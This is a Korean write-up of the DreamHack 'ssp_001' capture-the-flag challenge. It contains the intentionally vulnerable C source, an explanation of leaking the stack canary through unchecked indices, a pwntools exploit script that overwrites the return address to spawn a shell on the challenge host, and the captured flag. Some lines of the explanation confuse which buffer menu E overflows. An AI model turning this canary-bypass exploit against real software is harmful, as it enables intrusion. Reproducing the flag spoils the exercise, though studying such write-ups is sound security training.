silvergun8291.log님의 ssp_000을 참고하였습니다!!

취약점을 찾고 ssp를 우회하여 셸을 흭득하고, flag 파일을 읽어내는 것이 목표입니다.
user@user-ui-MacBookPro ssp_001 % checksec ssp_001
[*] '/Users/protectuser/Desktop/DreamHack/ssp_001/ssp_001'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Canary와NX 방어기법이 걸려있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
// 사용자가 지정할 수 있기 때문에 버퍼 오버플로우가 발생할 수 있다.
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
=> box는 길이가 x040인 문자열입니다. 하지만 E에서 원하는 크기만큼 box에 입력을 줄 수 있기 때문에 버퍼 오버플로우가 발생합니다.
=> 메뉴 p에서 인덱스 입력시 경계값을 검사하지 않기 때문에, 64이상의 인덱스를 입력하여 name아래에 있는 값을 출력할 수 있습니다.
[참고: https://velog.io/@silvergun8291/Dreamhack-ssp001#%EB%94%94%EB%B2%84%EA%B9%85]
box와 name은 x040으로 각각64byte이다.
box->name->canary순이므로
Canary는 box로 부터 거리는 128byte이다.
Canary는 4byte이므로 128~131까지 인덱스를 box에 넣으면 카나리 값을 릭 할 수 있다.
메뉴 E를 이용하면 box에 원하는 크기만큼 입력을 할 수 있어 버퍼 오버플로우가 발생합니다. 이때 get_sheell로 덮으면 쉘을 띄울 수 있습니다.
from pwn import *
p = remote("host3.dreamhack.games", 13713)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
# Canary Leak
canary = b""
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter(": ", str(len(payload)))
p.sendlineafter(": ", payload)
p.interactive()

$ cat flag
DH{00c609773822372daf2b7ef9adbdb824}